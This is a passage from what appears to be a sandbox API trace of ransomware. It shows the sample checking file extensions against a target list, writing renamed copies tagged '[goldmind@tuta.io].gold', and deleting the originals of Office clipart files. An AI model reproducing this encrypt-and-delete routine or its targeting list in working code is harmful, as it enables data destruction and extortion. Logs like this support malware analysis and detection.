Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0047.772] lstrlenW (lpString=".doc") returned 4 [0047.772] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.772] lstrlenW (lpString=".docx") returned 5 [0047.772] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.772] lstrlenW (lpString=".pdf") returned 4 [0047.772] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.772] lstrlenW (lpString=".xls") returned 4 [0047.772] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.772] lstrlenW (lpString=".xlsx") returned 5 [0047.772] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.772] lstrlenW (lpString=".ppt") returned 4 [0047.772] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0047.772] lstrlenW (lpString=".zip") returned 4 [0047.772] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.772] lstrlenW (lpString=".rar") returned 4 [0047.772] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.772] lstrlenW (lpString=".bz2") returned 4 [0047.772] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.772] lstrlenW (lpString=".7z") returned 3 [0047.772] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0047.772] lstrlenW (lpString=".dbf") returned 4 [0047.773] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0047.773] lstrlenW (lpString=".1cd") returned 4 [0047.773] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0047.773] lstrlenW (lpString=".jpg") returned 4 [0047.773] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0047.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0047.773] lstrlenW (lpString=".doc") returned 4 [0047.773] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.773] lstrlenW (lpString=".docx") returned 5 [0047.773] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.773] lstrlenW (lpString=".pdf") returned 4 [0047.773] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.773] lstrlenW (lpString=".xls") returned 4 [0047.773] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.773] lstrlenW (lpString=".xlsx") returned 5 [0047.773] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.773] lstrlenW (lpString=".ppt") returned 4 [0047.773] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0047.773] lstrlenW (lpString=".zip") returned 4 [0047.773] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.773] lstrlenW (lpString=".rar") returned 4 [0047.773] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.773] lstrlenW (lpString=".bz2") returned 4 [0047.773] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.773] lstrlenW (lpString=".7z") returned 3 [0047.773] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0047.773] lstrlenW (lpString=".dbf") returned 4 [0047.773] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0047.773] lstrlenW (lpString=".1cd") returned 4 [0047.773] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0047.773] lstrlenW (lpString=".jpg") returned 4 [0047.773] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.773] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0047.773] lstrlenW (lpString="AG00052_.GIF") returned 12 [0047.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0047.774] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=7686) returned 1 [0047.774] CloseHandle (hObject=0x214) returned 1 [0047.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif")) returned 0x20 [0047.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0047.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0047.774] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.774] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0047.774] GetLastError () returned 0x0 [0047.774] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x1e06, lpOverlapped=0x0) returned 1 [0047.776] WriteFile (in: hFile=0x190, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x1e10, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x1e10, lpOverlapped=0x0) returned 1 [0047.776] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.776] WriteFile (in: hFile=0x190, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.776] SetEndOfFile (hFile=0x190) returned 1 [0047.777] CloseHandle (hObject=0x190) returned 1 [0047.777] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.777] SetEndOfFile (hFile=0x214) returned 1 [0047.777] CloseHandle (hObject=0x214) returned 1 [0047.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0047.778] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif")) returned 1 [0047.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0047.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0047.778] lstrlenW (lpString=".doc") returned 4 [0047.778] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.778] lstrlenW (lpString=".docx") returned 5 [0047.778] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.778] lstrlenW (lpString=".pdf") returned 4 [0047.778] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.778] lstrlenW (lpString=".xls") returned 4 [0047.778] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.778] lstrlenW (lpString=".xlsx") returned 5 [0047.778] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.778] lstrlenW (lpString=".ppt") returned 4 [0047.778] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0047.778] lstrlenW (lpString=".zip") returned 4 [0047.778] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.778] lstrlenW (lpString=".rar") returned 4 [0047.778] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.778] lstrlenW (lpString=".bz2") returned 4 [0047.778] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.778] lstrlenW (lpString=".7z") returned 3 [0047.778] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0047.778] lstrlenW (lpString=".dbf") returned 4 [0047.778] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0047.778] lstrlenW (lpString=".1cd") returned 4 [0047.778] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0047.778] lstrlenW (lpString=".jpg") returned 4 [0047.778] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0047.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0047.778] lstrlenW (lpString=".doc") returned 4 [0047.778] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.778] lstrlenW (lpString=".docx") returned 5 [0047.778] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.778] lstrlenW (lpString=".pdf") returned 4 [0047.778] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.778] lstrlenW (lpString=".xls") returned 4 [0047.779] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.779] lstrlenW (lpString=".xlsx") returned 5 [0047.779] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.779] lstrlenW (lpString=".ppt") returned 4 [0047.779] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0047.779] lstrlenW (lpString=".zip") returned 4 [0047.779] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.779] lstrlenW (lpString=".rar") returned 4 [0047.779] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.779] lstrlenW (lpString=".bz2") returned 4 [0047.779] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.779] lstrlenW (lpString=".7z") returned 3 [0047.779] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0047.779] lstrlenW (lpString=".dbf") returned 4 [0047.779] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0047.779] lstrlenW (lpString=".1cd") returned 4 [0047.779] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0047.779] lstrlenW (lpString=".jpg") returned 4 [0047.779] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.779] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0047.779] lstrlenW (lpString="AG00057_.GIF") returned 12 [0047.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0047.779] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=11891) returned 1 [0047.779] CloseHandle (hObject=0x214) returned 1 [0047.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif")) returned 0x20 [0047.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0047.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0047.780] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.780] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0047.780] GetLastError () returned 0x0 [0047.780] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x2e73, lpOverlapped=0x0) returned 1 [0047.781] WriteFile (in: hFile=0x190, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x2e80, lpOverlapped=0x0) returned 1 [0047.782] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.782] WriteFile (in: hFile=0x190, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.782] SetEndOfFile (hFile=0x190) returned 1 [0047.782] CloseHandle (hObject=0x190) returned 1 [0047.782] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.782] SetEndOfFile (hFile=0x214) returned 1 [0047.783] CloseHandle (hObject=0x214) returned 1 [0047.783] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0047.783] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif")) returned 1 [0047.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0047.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0047.783] lstrlenW (lpString=".doc") returned 4 [0047.783] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.783] lstrlenW (lpString=".docx") returned 5 [0047.783] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.783] lstrlenW (lpString=".pdf") returned 4 [0047.783] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.783] lstrlenW (lpString=".xls") returned 4 [0047.783] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.783] lstrlenW (lpString=".xlsx") returned 5 [0047.783] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.783] lstrlenW (lpString=".ppt") returned 4 [0047.783] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0047.784] lstrlenW (lpString=".zip") returned 4 [0047.784] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.784] lstrlenW (lpString=".rar") returned 4 [0047.784] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.784] lstrlenW (lpString=".bz2") returned 4 [0047.784] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.784] lstrlenW (lpString=".7z") returned 3 [0047.784] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0047.784] lstrlenW (lpString=".dbf") returned 4 [0047.784] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0047.784] lstrlenW (lpString=".1cd") returned 4 [0047.784] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0047.784] lstrlenW (lpString=".jpg") returned 4 [0047.784] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0047.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0047.784] lstrlenW (lpString=".doc") returned 4 [0047.784] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.784] lstrlenW (lpString=".docx") returned 5 [0047.784] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.784] lstrlenW (lpString=".pdf") returned 4 [0047.784] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.784] lstrlenW (lpString=".xls") returned 4 [0047.784] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.784] lstrlenW (lpString=".xlsx") returned 5 [0047.784] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.784] lstrlenW (lpString=".ppt") returned 4 [0047.784] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0047.784] lstrlenW (lpString=".zip") returned 4 [0047.784] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.784] lstrlenW (lpString=".rar") returned 4 [0047.784] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.784] lstrlenW (lpString=".bz2") returned 4 [0047.784] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.784] lstrlenW (lpString=".7z") returned 3 [0047.784] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0047.784] lstrlenW (lpString=".dbf") returned 4 [0047.784] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0047.784] lstrlenW (lpString=".1cd") returned 4 [0047.784] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0047.784] lstrlenW (lpString=".jpg") returned 4 [0047.784] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.785] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0047.785] lstrlenW (lpString="AG00090_.GIF") returned 12 [0047.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0047.785] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=517) returned 1 [0047.785] CloseHandle (hObject=0x214) returned 1 [0047.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif")) returned 0x20 [0047.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0047.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0047.785] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.785] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0047.785] GetLastError () returned 0x0 [0047.785] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x205, lpOverlapped=0x0) returned 1 [0047.786] WriteFile (in: hFile=0x190, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x210, lpOverlapped=0x0) returned 1 [0047.787] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.787] WriteFile (in: hFile=0x190, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.787] SetEndOfFile (hFile=0x190) returned 1 [0047.787] CloseHandle (hObject=0x190) returned 1 [0047.787] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.787] SetEndOfFile (hFile=0x214) returned 1 [0047.788] CloseHandle (hObject=0x214) returned 1 [0047.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0047.788] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif")) returned 1 [0047.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0047.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0047.788] lstrlenW (lpString=".doc") returned 4 [0047.788] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.788] lstrlenW (lpString=".docx") returned 5 [0047.788] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.788] lstrlenW (lpString=".pdf") returned 4 [0047.788] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.788] lstrlenW (lpString=".xls") returned 4 [0047.788] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.788] lstrlenW (lpString=".xlsx") returned 5 [0047.788] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.788] lstrlenW (lpString=".ppt") returned 4 [0047.788] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0047.788] lstrlenW (lpString=".zip") returned 4 [0047.788] lstrcmpiW 